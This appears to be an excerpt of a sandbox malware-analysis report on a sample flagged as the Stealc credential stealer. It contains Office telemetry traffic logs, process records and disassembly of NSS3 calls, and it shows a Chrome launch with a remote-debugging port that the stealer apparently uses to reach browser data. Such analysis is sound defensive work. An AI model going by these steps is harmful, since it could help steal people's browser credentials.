2024-10-30 19:14:24 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:24 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191424Z-16849878b78smng4k6nq15r6s400000009v0000000011s1h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:24 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191424Z-16849878b78x44pv2mpb0dd37w00000000e0000000008vug x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:24 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:24 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191424Z-16849878b78x44pv2mpb0dd37w00000000h0000000009c9w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:24 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:24 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191424Z-15b8d89586f5s5nz3ffrgxn5ac000000098g0000000023ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:24 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:25 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 0955f6f1-c01e-0066-69f5-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191425Z-15b8d89586f42m673h1quuee4s0000000cfg00000000gf73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:25 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:24 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:25 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:25 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: de5f6a9b-601e-000d-3d18-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191425Z-16849878b78km6fmmkbenhx76n00000007v00000000084fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:25 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	0
Start time:	15:12:56
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x480000
File size:	2'078'720 bytes
MD5 hash:	46C95E73E7F395F0E6D8A85E119D7542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1676707184.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2065495419.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2064326724.0000000000481000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:13:07
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:13:08
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2664,i,14017048804474343399,16235251549594865908,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
dll, xrefs: 6C66788E
Spac, xrefs: 6C667389
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
kbi., xrefs: 6C667886
rdb:, xrefs: 6C667744
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
extern:, xrefs: 6C66772B
dbm:, xrefs: 6C667716
sql:, xrefs: 6C6676FE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
